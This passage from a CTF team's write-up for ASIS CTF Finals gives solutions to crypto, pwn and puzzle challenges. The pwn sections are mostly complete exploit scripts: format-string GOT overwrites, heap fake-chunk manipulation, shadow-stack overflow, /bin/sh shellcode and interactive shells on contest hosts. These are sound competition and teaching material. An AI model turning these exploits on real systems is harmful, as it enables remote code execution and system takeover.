  scanf("%s", result + 4);
  scanf("%s", sha512);
  for(int i = 0; i < 64; i += 2) {
    temp[i/2] = (16 * to_i(sha512[i])) + (to_i(sha512[i + 1]));
  }
  int ll = strlen(chars);
  for(int i = 0; i < ll; i++) {
    result[0] = chars[i];
    for(int j = 0; j < ll; j++) {
      result[1] = chars[j];
      for(int k = 0; k < ll; k++) {
        result[2] = chars[k];
        for(int l = 0; l < ll; l++) {
          result[3] = chars[l];
          SHA512(result, 26, sha256);
          if(memcmp(sha256, temp, 8) == 0) {
            result[4] = 0;
            puts((const char*)result);
            exit(0);
          }
        }
      }
    }
  }
  puts("NA");
}

Races (Crypto 189pts)

I found that there are N_1, N_2 whose gcd is larger than 1.

n2 = 1
ns = []
while gets
  n1 = $_.scan(/\d+/)[0].to_i
  ns << n1
  p n1
  n2 *= n1
end
ns.each do |n1|
  ns.each do |n2|
    if n1 != n2
      if n1.gcd(n2) != 1
        puts "FOUND"
        puts n1
        puts n2
      end
    end
  end
end
$ ruby check.rb < pubkey_enc.txt
...
FOUND
145027482789690990262517750951541446221552255560520228703877313431483316741269117323705124775232890171059397344533125793378274261538984168613648947111600523237940505464340771538677343847823054950559536582762094561232606689017946799356626447164268129816358964385649508992872978250974645830516100018108294421843
116402452666072936208815007139304987216714163049811234781351426326924131246364364574334524817901508281619972460090415001382062843182592379805224835760303284979302327894596365679847657301006500492449662907010259006597668640036494093690719721777196202708412690708189425416261338322878726801565837339906926442199

I decrypted the cipher using problem source code.

n = 145027482789690990262517750951541446221552255560520228703877313431483316741269117323705124775232890171059397344533125793378274261538984168613648947111600523237940505464340771538677343847823054950559536582762094561232606689017946799356626447164268129816358964385649508992872978250974645830516100018108294421843L
p = 13101261334925358356052012802088920395535884660597547763946806535628065670277915852917356305443939004844164299871676780335359374939404036920480708592902391
q = n / p
c = (84876076421614376067149365902722288787017939432560112310344060253776893355155004799570079133487890091744927361496759572955051910756381500540609425582325044679541917701176783432330786945586473421496533459046926087433374002572145804591821522550941784213497101941864710192882108942428579695906987627994038160506L, 53075793789885196175396474745354653894462035118379186161754018180061911263633656154635135006901226712322309187026865430527729260554951872682683031998933681813562644904853338601687712543027240467179318352856177931746928027694032725413016073749325323908751643659718884095101708806519753380797321211563244283733L)
lcm = (p+1)*(q+1)/GCD(p+1, q+1)
e = 65537
d = invert(e, lcm)

m1, m2 = multiply(c, d, 0, n)
print (m2 - m1) % n
$ python RACES.py 
28546845511913542884170840691285182853431327623163885731368073389917041827144834397697372459526329606467276328016917091205512071556156842313300738767612720903858529936066356518246569287711348443640965493313454170382894998221304266880326621776674058

$ irb
irb(main):001:0> 28546845511913542884170840691285182853431327623163885731368073389917041827144834397697372459526329606467276328016917091205512071556156842313300738767612720903858529936066356518246569287711348443640965493313454170382894998221304266880326621776674058
=> 28546845511913542884170840691285182853431327623163885731368073389917041827144834397697372459526329606467276328016917091205512071556156842313300738767612720903858529936066356518246569287711348443640965493313454170382894998221304266880326621776674058 (0x415349537b3538636631303565383939336666383532613765613639633366363436343435386138376336396638396566336466643734396461346532643339383264653334383332653338636162316261663864316364336365306637333235313632397d0a) "ASIS{58cf105e8993ff852a7ea69c3f6464458a87c69f89ef3dfd749da4e2d3982de34832e38cab1baf8d1cd3ce0f73251629}\n"

RSA (Crypto 113pts)

First we factorize the n of pubkey.pem using msieve.

The encrypted message has 17376bit. So I create p,q such that the length of n=p*q is about 17376bit.

require 'gmp'

q = GMP::Z(315274063651866931016337573625089033553)
p = GMP::Z(311155972145869391293781528370734636009)
e = GMP::Z(12405943493775545863)

while true
  n = p * q
  p n.to_s(2).size
  if n.to_s(2).size > 15000
    break
  end
  p = (p**2 + q**2).nextprime
  q = (2 * p * q).nextprime
  e = (e**2).nextprime
end
p([p.to_i.to_s(16), q.to_i.to_s(16), e.to_i.to_s(16)])

Because we don’t know the order of p,q, we created two pattern of p,q. The generated file is result, result2.

Then we decrypt the cipher.

#!/usr/bin/python

import gmpy
from Crypto.Util.number import *
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5

def ext_rsa_decrypt(p, q, e, msg):
    m = msg.decode('base64')
    n = p * q
    print len(m) * 8
    print len(bin(n)) - 2
    phi = (p - 1)*(q - 1)
    d = inverse(e, phi)
    pubkey = RSA.construct((long(n), long(e), long(d), long(p), long(q)))
    key = PKCS1_v1_5.new(pubkey)
    enc = key.decrypt(m, False)
    return enc
p, q, e = eval(open('result2', 'r').read())
p = int(p, 16)
q = int(q, 16)
e = int(e, 16)
g = open('flag.enc', 'r').read()
print (ext_rsa_decrypt(p, q, e, g))

Heapstar (pwn 259pts)

There is a Format String Bug.

root@ubuntu:~/CTF-Writeup/ASIS_FINAL/heapstar/heap_star# ./heapstar
[c]lear the heap
[d]elete the current top-priority string
[i]nsert a new string
[p]eek at the current str
[q]uit

>> i
Data: %p
>> p
0x1>> 

This simple heap based FSP.
( http://phrack.org/issues/59/7.html )

Use ebp chain as linked list.

ebp
↓ pointer
old_ebp
↓ pointer
old_old_ebp

We can overwrite old_old_ebp[0] using FSB with old_ebp.
And we can also overwrite old_ebp[0] in the same way, then we can let old_ebp point to old_old_ebp[1].
So we can make arbitrary pointer on the stack.

Arbitrary pointer + FSB = Arbitrary memory write
–> win ( GOT Overwrite printf -> system )

#!/usr/bin/python
# -*- coding: utf-8 -*-
import struct, socket, sys, telnetlib, os, signal, select, time

def sock(remoteip="127.0.0.1", remoteport=1234):
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((remoteip, remoteport))
  return s, s.makefile('rw', bufsize=0)

def read_until(f, delim='\n'):
  data = ''
  while not data.endswith(delim):
    data += f.read(1)
  return data

def shell(s):
  t = telnetlib.Telnet()
  t.sock = s
  t.interact()

def p(s):
  return struct.pack('<Q',s)

def u(s):
  return struct.unpack('<Q',s)[0]

def clear():
  global s,f
  read_until(f,'>>')
  f.write('c\n')

def mk_ptr(offset1,offset2,victim_address,new_address):
  global s,f
  clear()
  for i in xrange(8):
    read_until(f,'>>')
    f.write('i\n')
    last_byte = victim_address&0xff
    if i == 0 and last_byte == 0:
      f.write('%'+str(offset1)+'$hhn\n')
    else:
      f.write('%'+str(last_byte + i)+'c%'+str(offset1)+'$hhn\n')
    read_until(f,'>>')
    f.write('p\n')
    clear()
    read_until(f,'>>')
    f.write('i\n')
    j = int(p(new_address)[i].encode('hex'),16)
    if j == 0:
      f.write('%'+str(offset2)+'$hhn\n')
    else:
      f.write('%'+str(j)+'c%'+str(offset2)+'$hhn\n')
    read_until(f,'>>')
    f.write('p\n')
    clear()
  #repair offset2
  print '[+] repair'
  read_until(f,'>>')
  f.write('i\n')
  last_byte = victim_address&0xff
  if last_byte == 0:
    f.write('%'+str(offset1)+'$hhn\n')
  else:
    f.write('%'+str(last_byte)+'c%'+str(offset1)+'$hhn\n')
  read_until(f,'>>')
  f.write('p\n')
  clear()

local = True
libc_start_main_got = 0x603060
isatty_got = 0x603030

if local:
  HOST, PORT = "localhost", 4444
  libc_start_main_offset = 0x21e50
  system_offset = 0x46590
  bin_sh_offset = 0x17c8c3
else:
  HOST, PORT = "heapstar.asis-ctf.ir", 1337
  libc_start_main_offset = 0x20740
  system_offset = 0x45380
  bin_sh_offset = 0x18c58b

s, f = sock(HOST, PORT)

offset = 8
offset2 = 14
#socat TCP-LISTEN:4444,reuseaddr,fork exec:"./heapstar",pty <-- disable buffering

#stage1 leak stack addr
#raw_input('debug')
read_until(f,'>>')
f.write('i\n')
f.write('%'+str(offset)+'$p\n')
read_until(f,'>>')
f.write('p\n')
read_until(f,'0x')
stack_addr = int('0x'+read_until(f,'>>').replace('>>',''),16)
assert(stack_addr % 16 == 0)
print '[+] Stack Addr:' + hex(stack_addr)

#stageA libc leak
f.write('hoge\n')
#stage2 leak libc_start_main
mk_ptr(offset,offset2,stack_addr+0x30,libc_start_main_got)
read_until(f,'>>')
f.write('i\n')
f.write('%'+str(offset+12)+'$s\n')
read_until(f,'>>')
f.write('p\n')
libc_start_main = u(read_until(f,'>>')[-8:-2]+'\x00\x00') # head 2byte is new line byte (\xa\xd)
print '[+] libc_start_main:' + hex(libc_start_main)
libc_base = libc_start_main - libc_start_main_offset
print '[+] libc base:' + hex(libc_base)
system = libc_base + system_offset
print '[+] system:' + hex(system)
bin_sh = libc_base + bin_sh_offset
print '[+] /bin/sh:' + hex(bin_sh)

f.write('hoge\n')
clear()

#stage4 get shell
printf_got = 0x603048

mk_ptr(offset,offset2,stack_addr+0x30,stack_addr+0x40)
mk_ptr(offset2,offset2+6,stack_addr+0x40,printf_got)

mk_ptr(offset,offset2,stack_addr+0x30,stack_addr+0x50)
mk_ptr(offset2,offset2+6,stack_addr+0x50,printf_got+1)

mk_ptr(offset,offset2,stack_addr+0x30,stack_addr+0x60)
mk_ptr(offset2,offset2+6,stack_addr+0x60,printf_got+2)

read_until(f,'>>')
f.write('i\n')
#offset = 8, 10, 12
raw_input('debug')
f.write('%'+str(system&0xff)+'c%'+str(offset2+8)+'$hhn%'+str((0x100+((system&0xff00)>>8)-(system&0xff))%0x100)+'c%'+str(offset2+10)+'$hhn%'+str((0x100+((system&0xff0000)>>16)-((system&0xff00)>>8))%0x100)+'c%'+str(offset2+12)+'$hhn\n')

read_until(f,'>>')
f.write('p\n')

f.write('i\n')
f.write('/bin/sh\n')
f.write('p\n')

shell(s)

Alegria (pwn 201pts)

When we logout from this app, notes are saved from heap to “notes.txt”.
Then there is a Format String Bug.

All inputs are on the stack, so we can write any data in arbitrary memory address easily.

So we can overwrite return address.
But this app checks return address integirty, so I overwrite the copy of original return address too.

#!/usr/bin/python
# -*- coding: utf-8 -*-
import struct, socket, sys, telnetlib, os, signal, select, time
from libformatstr import FormatStr

def sock(remoteip="127.0.0.1", remoteport=1234):
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((remoteip, remoteport))
  return s, s.makefile('rw', bufsize=0)

def read_until(f, delim='\n'):
  data = ''
  while not data.endswith(delim):
    data += f.read(1)
  return data

def shell(s):
  t = telnetlib.Telnet()
  t.sock = s
  t.interact()

def p(s):
  return struct.pack('<I',s)

def u(s):
  return struct.unpack('<I',s)[0]

def split_str(s, n):
  length = len(s)
  return [s[i:i+n] for i in range(0, length, n)]

local = True

if local:
  HOST, PORT = "localhost", 8282
  heap_offset = 0x48
else:
  HOST, PORT = "alegria.asis-ctf.ir", 8282
  heap_offset = 0x58

offset = 285
stack_offset = 0x2c
user = 'hglkajsdlf'
passwd = 'hglkajsdlf'
system_plt = 0x80489f8

s, f = sock(HOST, PORT)

print 'user:passwd need to be created before exploit'

#stage0 create user and clear notes.txt
read_until(f,'>')
f.write('2\n')
read_until(f,'ID:')
f.write(user+'\n')
read_until(f,'PW:')
f.write(passwd+'\n')
read_until(f,'>')
f.write('3\n')
read_until(f,'>')
f.write('4\n')

#stage1 write stack addr into notes.txt
read_until(f,'>')
f.write('2\n')
read_until(f,'ID:')
f.write(user+'\n')
read_until(f,'PW:')
f.write(passwd+'\n')
read_until(f,'>')
f.write('1\n')
read_until(f,'Title length(max: 64):')
f.write('16\n')
read_until(f,'Content length(max: 1024):')
f.write('16\n')
read_until(f,'Title:')
f.write('%'+str(offset)+'$p\n')
read_until(f,'Content:')
f.write('%2$p\n')
read_until(f,'>')
f.write('4\n')

#stage2 leak stack addr
read_until(f,'>')
f.write('2\n')
read_until(f,'ID:')
f.write(user+'\n')
read_until(f,'PW:')
f.write(passwd+'\n')
read_until(f,'>')
f.write('2\n')
read_until(f,'Title:')
ret_addr = int(read_until(f),16) - stack_offset
print '[+] Return Addr: ' + hex(ret_addr)
read_until(f,'Content:')
heap_addr = int(read_until(f),16)&0xfffff000
print '[+] Heap Addr: ' + hex(heap_addr)
shadow_stack_addr = heap_addr + heap_offset
print '[+] Shadow Stack Addr: ' + hex(shadow_stack_addr)

#stage3 overwrite return address and arg1
read_until(f,'>')
f.write('3\n') # clear
read_until(f,'>')
f.write('1\n')
read_until(f,'Title length(max: 64):')
f.write('64\n')
read_until(f,'Content length(max: 1024):')
f.write('400\n')
read_until(f,'Title:')

fs = FormatStr()
fs[shadow_stack_addr] = [system_plt]
buf = fs.payload(259,start_len=0)
f.write(buf+'\n')

read_until(f,'Content:')

fs = FormatStr()
chain = [system_plt,0xdeadbeef,ret_addr+12]
code = '/bin/sh <&4 >&4 2>&4\0\0\0\0'
for st in split_str(code,4):
  chain.append(int('0x'+st[::-1].encode('hex'),16))
fs[ret_addr] = chain
buf = fs.payload(3,start_len=0)
f.write(buf+'\n')

f.write('4\n')
shell(s)

Car Market (pwn 177pts)

First, we figure out two structures, customer_t and car_t, in this application.

// definitions of some types
typedef customer_t struct {
    char        first_name[0x20];       // off_00h
    char        name[0x20];             // off_20h
    char        *comment;               // off_40h
};

typedef car_t struct {
    char        model[0x10];            // off_00h
    int64_t     price;                  // off_10h
    customer_t  *customer;              // off_18h
};

// .data
size_t  car_limit_size = 0x10000;       // .data:0x602090

// .bss 
size_t 	car_current_size;               // .bss:0x6020c0
car_t   *cars[];                        // .bss:0x6020c8

Then, we try to cause crash and noticed some points shown below:

The author calls this technique “Freeing Fakechunk” so we refer such a method to that in this writeup. We can put a well-manipulated chunk on an address like addr&(-0x100) since we did it.

Strategy

We show you the flow.

  1. Add four cars, “VICTIM!”, “TRIGGER”, “DUMMY00” and “DUMMY01”.
  2. Make a new customer with a comment and link it to “VICTIM!”.
  1. Make a customer again for “VICTIM!” to cause the fake chunk to be linked to main_arena->fastbinsY[0] and the comment which includes a fake chunk header.
  1. Make the fake chunk a new car named “FAKECHNK” to leak the libc base address.
  1. Make a number of cars to adjust current number of cars to 0x32.
  2. Renive two cars to link them to main_arena->fastbinsY[0]
  1. Add a customer for “VICTIM!” to overwrite car_t *cars on .bss section.
  1. Now, we can put __libc_system address on free()'s GOT entry.
  1. And just remove a car.

Exploit

We show an exploit you.

#!/usr/bin/env python2

import binascii
import hashlib
import re
import socket
import string
import struct
import subprocess
import time
import telnetlib


def p(x, t="<Q"): return struct.pack(t, x)
def pl(l): return ''.join(map(p, l))
def u(x, t="<Q"): return struct.unpack(t, x)[0]
def ui(x): return u(p(x, t="<q"), t="<Q")
def hx(b): return binascii.hexlify(b)
def uh(s): return binascii.unhexlify(s)
def a2n(s): return socket.inet_aton(s)
def n2a(s): return socket.inet_ntoa(s)

def read_until(f, delim='\n'):
    data = ""
    while not data.endswith(delim):
        data += f.read(1)
    return data

def wn(f, b):
    f.write(b+'\n')

def connect(rhp):
    I("Connect to %s:%d"%(rhp))
    s = socket.create_connection(rhp)
    f = s.makefile('rw', bufsize=0)
    return s, f

def interact(s):
    t = telnetlib.Telnet()
    t.sock = s

    I('4ll y0U n33D 15 5h3ll!!')
    t.interact()

def gen_shellcode(source, bits=64):
    source = "".join([
        "BITS %d\n"%(bits),
        source,
        ])
    filename = hashlib.md5(source).hexdigest()
    with open("/tmp/%s.s"%(filename), "wb") as f:
        f.write(source)
    subprocess.call("nasm /tmp/%s.s -o /tmp/%s"%(filename, filename), shell=True)
    with open("/tmp/%s"%filename, "rb") as f:
        shellcode = f.read()
    return filename, shellcode

def M(prefix, body):
    if len(body) == 1:
        body = ''.join(body)
    elif len(body) == 2:
        key, value = body
        if value <= 0xffffffff:
            value = '0x%08x'%(value)
        else:
            value = '0x%016x'%(value)
        body = '%s: %s'%(key, value)
    elif len(body) >= 3:
        body = '%s:%s'%(body[0], body[1:])

    text = '[{prefix}] {body}'.format(prefix=prefix, body=body)
    print text

def W(*body): M('!', body)
def N(*body): M('*', body)
def I(*body): M('+', body)
def D(*body): M('D', repr(body))
def RD(*body): M('D', body)

### user-defined
class IO(object):
    def __init__(self, rhp):
        self.rhp = rhp
        self.s, self.f = connect(self.rhp)

    def _read(self, size):
        return self.s.recv(size)

    def _write(self, buf):
        self.s.send(buf)

    def write(self, buf, end=''):
        self._write(buf+end)

    def writeln(self, buf):
        self.write(buf, end='\n')

    def read_until(self, delim='\n'):
        buf = ''
        while not buf.endswith(delim):
            buf += self._read(1)
        return buf

    def flush(self):
        self.f.flush()

    def interact(self):
        interact(self.s)

class CarMarketIO(IO):
    cars = []

    def __init__(self, rhp):
        super(CarMarketIO, self).__init__(rhp)
        self.read_until('>\n')

    def getinfo(self):
        for car in self.cars:
            print "[*] model: %s"%(car['model'])
            print "[*] price: %s"%(car['price'])

    def cmd_list(self):
        self.writeln('1')
        if len(self.cars) == 0:
            data = self.read_until()
            print '[-] %s'%(data[:-1])
        return self.read_until('>\n')

    def cmd_add(self, model, price):
        self.writeln('2')
        self.read_until()
        self.writeln(model)
        self.read_until()
        self.writeln('%d'%(price))

        car = {
            'model': model,
            'price': price,
        }
        self.cars.append(car)
        m, p = car['model'], car['price']
        print '[-] Added: model=%s, price=%d'%(repr(m), p)

        self.read_until('>\n')

    def cmd_remove(self, index):
        self.writeln('3')
        self.read_until()
        self.writeln('%d'%(index))
        if len(self.cars) == 0 or not (0 <= index < len(self.cars)):
            print '[!] Invalid Index.'
        else:
            self.read_until()
            car = self.cars[index]
            m, p = car['model'], car['price']
            print '[-] Removed: model=%s, price=%d'%(repr(m), p)
            del car
        self.read_until('>\n')


    def cmd_select(self, index, choice, content=None):
        if index < 0 or index >= len(self.cars):
            print '[!] Invalid Index.'
            return
        self.writeln('4')
        self.read_until()
        self.writeln('%d'%(index))
        self.read_until('>\n')
        self.writeln('%d'%(choice))
        
        if choice == 1:
            pass
        elif choice == 2 or choice == 3:
            self.read_until()
            self.writeln(content)
        elif choice == 4:
            t, d = int(content[0]), content[1]
            self.read_until('>\n')
            self.writeln('%d'%(t))
            self.read_until(': \n')
            self.writeln(d)
            self.read_until('>\n')
            self.writeln('4')
        elif choice == 5:
            pass
        self.read_until('>\n')
        self.writeln('5')
        self.read_until('>\n')

    def cmd_exit(self):
        self.writeln('5')

got = {
    'free': 0x602018,
}

bss = {
    'fakechunk': 0x6020b8,
    '/bin/sh': 0x6020d0,
}

offsets = {
    'fakecars': 0x928,
}


if __name__ == '__main__':
    if len(subprocess.sys.argv) != 3:
        print >> subprocess.sys.stderr, "Usage: %s HOST PORT"%(subprocess.sys.argv[0])
        subprocess.sys.exit(1)

    host, port = subprocess.sys.argv[1:]
    if host in ('localhost', '127.0.0.1'):
        offsets['__libc_system'] = 0x000000000003f4d0 #T __libc_system
        offsets['__libc_free'] = 0x000000000007b2f0 #T __libc_free
        pass
    else:
        offsets['__libc_system'] = 0x0000000000045380 # T __libc_system
        offsets['__libc_free'] = 0x0000000000083a70 # T __libc_free
        pass
    rhp = (host, int(port))

    cmio = CarMarketIO(rhp)
    # prepare four chunks
    cmio.cmd_add('VICTIM!', 0)
    cmio.cmd_add('TRIGGER', 0)
    cmio.cmd_add('DUMMY00', 0)
    cmio.cmd_add('DUMMY01', 0)

    '''
      create a fakechunk.
    '''
    # cmd_select "VICTIM!
    # {{{
    cmio.writeln('4')
    cmio.read_until()
    cmio.writeln('0')
    cmio.read_until('>\n')
    # }}}
    # Add a customer to cars[0]
    # {{{
    cmio.writeln('4')
    cmio.read_until('>\n')
    # }}}
    # Add a comment to cars[0]->customer
    # {{{
    cmio.writeln('3')
    cmio.read_until()
    cmio.writeln(''.join((
        p(bss['/bin/sh']),
        'P'*0x30,
    )))
    cmio.read_until('>\n')
    # }}}
    # Add a firstname to cars[0]->customer
    # {{{
    cmio.writeln('2')
    cmio.read_until()
    cmio.writeln(''.join((
        'P'*0x18,
        p(0x31),
    )))
    cmio.read_until('>\n')
    cmio.read_until('>\n')
    # }}}
    # Add a name to cars[0]->customer, OBO '\0' into &(cars[0]->customer->comment)
    # {{{
    cmio.writeln('1')
    cmio.read_until()
    cmio.writeln('X'*0x20)
    cmio.read_until('>\n')
    cmio.read_until('>\n')
    # }}}
    # exit from submenus
    # {{{
    # exit from setting a customer
    cmio.writeln('4')
    cmio.read_until('>\n')
    # exit from setting a car
    cmio.writeln('5')
    cmio.read_until('>\n')
    # }}}

    '''
      make a fakechunk being free and cordinate a fakechunk again.
    '''
    # cmd_select "VICTIM!"
    # {{{
    cmio.writeln('4')
    cmio.read_until()
    cmio.writeln('0')
    cmio.read_until('>\n')
    # }}}
    # Add a customer to cars[0], it's the trigger.
    # {{{
    cmio.writeln('4')
    cmio.read_until('>\n')
    # }}}
    # Add a firstname to cars[0]->customer
    # {{{
    cmio.writeln('2')
    cmio.read_until()
    cmio.writeln(''.join((
        'P'*0x18,
        p(0x31),
    )).ljust(0x20, '\0'))
    cmio.read_until('>\n')
    cmio.read_until('>\n')
    # }}}
    # exit from submenus
    # {{{
    # exit from setting a customer
    cmio.writeln('4')
    cmio.read_until('>\n')
    # exit from setting a car
    cmio.writeln('5')
    cmio.read_until('>\n')
    # }}}

    # invoke a fakechunk as a car.
    cmio.cmd_add('FAKECHNK', 0)


    # cmd_select 0
    # {{{
    cmio.writeln('4')
    cmio.read_until()
    cmio.writeln('0')
    cmio.read_until('>\n')
    # }}}
    # Add a customer to cars[0]
    # {{{
    cmio.writeln('4')
    cmio.read_until('>\n')
    # }}}
    # Add a name to cars[0]->customer
    # {{{
    cmio.writeln('1')
    cmio.read_until()
    cmio.writeln(''.join((
        'P'*0x18,
        p(got['free']),
    )))
    cmio.read_until('>\n')
    cmio.read_until('>\n')
    # }}}
    # exit from submenus
    # {{{
    # exit from setting a customer
    cmio.writeln('4')
    cmio.read_until('>\n')
    # exit from setting a car
    cmio.writeln('5')
    cmio.read_until('>\n')
    # }}}

    data = cmio.cmd_list()
    r = re.findall(r'Firstname : (.*)\n', data)
    if r:
        libc_base = u(r[1].ljust(0x8, '\0'))-offsets['__libc_free']
    print '[+] libc_base: 0x%08x'%(libc_base)

    fakechunk_car_index = len(cmio.cars)-1
    # set 0x6020c0 to 0x32
    for i in range(6):
        cmio.cmd_add('DUMMMY%02d'%(i+2), 0)
    cmio.cmd_add('GOTFREE!', got['free']-0x10)
    for i in range(7, 0x32-(len(cmio.cars)-1)+6):
        cmio.cmd_add('DUMMMY%02d'%(i+1), 0)

    # link to fastbin free list
    cmio.cmd_remove(len(cmio.cars)-1)
    # link to fastbin free list
    cmio.cmd_remove(fakechunk_car_index)

    data = cmio.cmd_list()
    r = re.findall(r'Name : (.*)\n', data)
    if r:
        heap_base = u(r[0].ljust(0x8, '\0')) - 0x11b0 # offset
    print '[+] heap base: 0x%08x'%(heap_base)

    # cmd_select "VICTIM!"
    # {{{
    cmio.writeln('4')
    cmio.read_until()
    cmio.writeln('0')
    cmio.read_until('>\n')
    # }}}
    # Add a customer to cars[0]
    # {{{
    cmio.writeln('4')
    cmio.read_until('>\n')
    # }}}
    # Add a name to cars[0]->customer
    # {{{
    cmio.writeln('1')
    cmio.read_until()
    cmio.writeln(''.join((
        p(bss['fakechunk'])
    )))
    cmio.read_until('>\n')
    # }}}
    # exit from setting a customer
    # {{{
    cmio.writeln('4')
    cmio.read_until('>\n')
    # }}}
    # exit from setting a car
    # {{{
    cmio.writeln('5')
    cmio.read_until('>\n')
    # }}}

    cmio.cmd_add('DUMMMMMY', 0)
    cmio.cmd_add(''.join((
        p(heap_base+offsets['fakecars']),
        '/bin/sh',
    )), (libc_base+offsets['__libc_system'])&0xffffffff)
    raw_input('wait')

    # Remove trigger to invoke system("/bin/sh")
    cmio.cmd_remove(1)
    cmio.read_until()

    cmio.interact() # You have a shell.

Diapers Simulator (pwn 134pts)

Observation

The data format.

Brand Name
Wetness level(int)
Message

Message was shown by printf. So if I can change message, I can do format string attack.

I can change brand name by 0)Change Brand.
It uses read with strlen.
So if witness level doesn’t have ‘\0’, I can change message from there. Witness level can be negative number. So it’s exploitable.

Exploit

require 'ctf'
def lpad(str, len)
  str += ' ' * ([len - str.size, 0].max)
  str[0, len]
end

def format_bug(s, format_str)
  s.puts "0"
  s.print lpad(lpad("012345678", 16) + format_str, 108)
  s.flush
  s.puts "2"
  s.expect("And now a message from our sponsors:\n")
  return s.gets
end

def get_ofs(s, pos)
  s.puts "0"
  s.print lpad(lpad("012" + [pos].pack("I"), 15) + '%15$sA8NTS', 108)
  s.flush
  s.puts "2"
  s.expect("And now a message from our sponsors:\n")
  return s.expect("A8NTS")[0][0..-6]
end

def write_ofs(s, pos, value)
  s.puts "0"
  s.print lpad(lpad("012" + [pos].pack("I") + [pos + 2].pack("I"), 15) + "%#{value & 65535}c%15$hn%#{((value >> 16) - value) & 65535}c%16$hnA8NTS", 108)
  s.flush
  s.puts "2"
  s.expect("And now a message from our sponsors:\n")
  return s.expect("A8NTS")[0][0..-6]
end

PHASE = 2
TCPSocket.open(*ARGV) do |s|
  s.echo = true
  s.puts 3
  257.times do |i|
    s.puts "1"
  end
  # p format_bug(s, '%x,' * 41)
  if PHASE == 1
    s.echo = false
    p [:printf, '%08x' % get_ofs(s, 0x804b00c).unpack("I")]
    p [:libc_start_main, '%08x' % get_ofs(s, 0x804b02c).unpack("I")]
    p [:puts, '%08x' % get_ofs(s, 0x804b01c).unpack("I")]
  elsif PHASE == 2
    libc_start_main = 0x00018540
    system = 0x0003ad80
    system = system - libc_start_main + get_ofs(s, 0x804b02c).unpack("I")[0]
    write_ofs s, 0x804b00c, system

    s.puts "0"
    s.print lpad(lpad("", 15)+ "sh\n", 108)
    s.flush
    s.puts "2"
  end
  s.interactive!
end

Shadow (pwn/Warm-up 99pts)

When this program starts, it makes the shadow stack to prevent return addresses from violating. This shadow stack is made by calling mmap() syscall. And we noticed things shown below:

Strategy

Now, we had already known that malloc() can invoke calling mmap() and mmapped area can be contiguous to a lastly mmapped area.

  1. Call huge-sized malloc and make a new area contiguous to the shadow stack.
  2. Recursively do command ‘a’(not found command) and grow shadow stack pointer enough value to cause overwrite a return address.
  3. Just cause ROP and get shell.

Exploit

An exploit is here.


#!/usr/bin/python
# -*- coding: utf-8 -*-
import struct, socket, sys, telnetlib, os, signal, select, time

def sock(remoteip="127.0.0.1", remoteport=1234):
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((remoteip, remoteport))
  return s, s.makefile('rw', bufsize=0)

def read_until(f, delim='\n'):
  data = ''
  while not data.endswith(delim):
    data += f.read(1)
  return data

def shell(s):
  t = telnetlib.Telnet()
  t.sock = s
  t.interact()

def p(s):
  return struct.pack('<I',s)

def u(s):
  return struct.unpack('<I',s)[0]

local = False
size = 0x28000
offset = 0x16300
name_addr = 0x804a520

if local:
  HOST, PORT = "localhost", 4444
else:
  HOST, PORT = "shadow.asis-ctf.ir", 31337

s, f = sock(HOST, PORT)

shellcode = "1\xc9\xf7\xe1Ph//shh/bin\x89\xe3\x04\x0e,\x03\xcd\x80"

print read_until(f,'Hey, what\'s your name?')
f.write(shellcode+'\n')
print read_until(f,'menu? I forgot, bro. can you find it?')
f.write('1\n')
print read_until(f,'description length?')
f.write(str(size)+'\n')
f.write('A'*size)
print read_until(f,'beer uploaded to the memory!')
f.write('2\n')
f.write('0\n')
for i in xrange(offset):
  time.sleep(0.000001)
  f.write('a\n')
f.write('y\n')
f.write(p(name_addr)*(size/4))

shell(s)

Secuprim (PPC/Warm-up 65pts)

You can use gmp to judge prime or power.

require 'ctf'
require 'gmp'

TCPSocket.open(*ARGV) do |s|
  s.echo = true
  b = s.expect(/"(.+)"\)/)[1]
  sha256 = s.expect(/"(.+)"/)[1]
  s.print `echo #{b} #{sha256} | ./a.out`.split[0]
  s.flush
  while true
  s.expect("What's the number of primes or perfect powers like n such that: ")
  n_min, _, _, _, n_max = s.gets.split.map(&:to_i)
  cnt = 0
  (n_min..n_max).each do |n|
    if GMP::Z(n).probab_prime? == 1
      cnt += 1
    elsif GMP::Z(n).power?
      cnt += 1
    end
  end
  s.print cnt.to_s + "\n"
  s.flush
  end
  s.interactive!
end

PoW searcher

#include <openssl/sha.h>
#include <cstdio>
#include <cstdlib>
#include <cstring>
unsigned char result[300];
unsigned char sha512[400];
unsigned char sha256[400];
unsigned char temp[256 / 8];
const char chars[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
int to_i(unsigned char t) {
  if('0' <= t && t <= '9')
    return t - '0';
  else if('a' <= t && t <= 'f')
  return t - 'a' + 10;
  else
    return 0;
}
int main() {
  scanf("%s", result + 4);
  scanf("%s", sha512);
  for(int i = 0; i < 64; i += 2) {
    temp[i/2] = (16 * to_i(sha512[i])) + (to_i(sha512[i + 1]));
  }
  int ll = strlen(chars);
  for(int i = 0; i < ll; i++) {
    result[0] = chars[i];
    for(int j = 0; j < ll; j++) {
      result[1] = chars[j];
      for(int k = 0; k < ll; k++) {
        result[2] = chars[k];
        for(int l = 0; l < ll; l++) {
          result[3] = chars[l];
          SHA256(result, 26, sha256);
          if(memcmp(sha256, temp, 16) == 0) {
            result[4] = 0;
            puts((const char*)result);
            exit(0);
          }
        }
      }
    }
  }
  puts("NA");
}

Typo (Forensic/Misc 131pts)

Google and npm are friends.

Strategy

  1. Just do.

Solution

We won.

sh-4.3$ ls
typo.txz_d64b92894e8bc0c3c6830868ecfd0e5efa1d52bd
sh-4.3$ tar Jxf typo.txz_d64b92894e8bc0c3c6830868ecfd0e5efa1d52bd
sh-4.3$ cd typo
sh-4.3$ ls
typo
sh-4.3$ wget "https://www.dropbox.com/s/8tyzf94ps37tzp7/words?dl=0#" -O words
--2016-09-14 20:52:14--  https://www.dropbox.com/s/8tyzf94ps37tzp7/words?dl=0
Resolving www.dropbox.com (www.dropbox.com)... 162.125.80.1
Connecting to www.dropbox.com (www.dropbox.com)|162.125.80.1|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://dl.dropboxusercontent.com/content_link/M8jZJ7QDFQRaG9mx8jdgWL0Fq2Xxck8bYbEmpmebmOKnbUH5lAu6GzlKRy04M6pt/file [following]
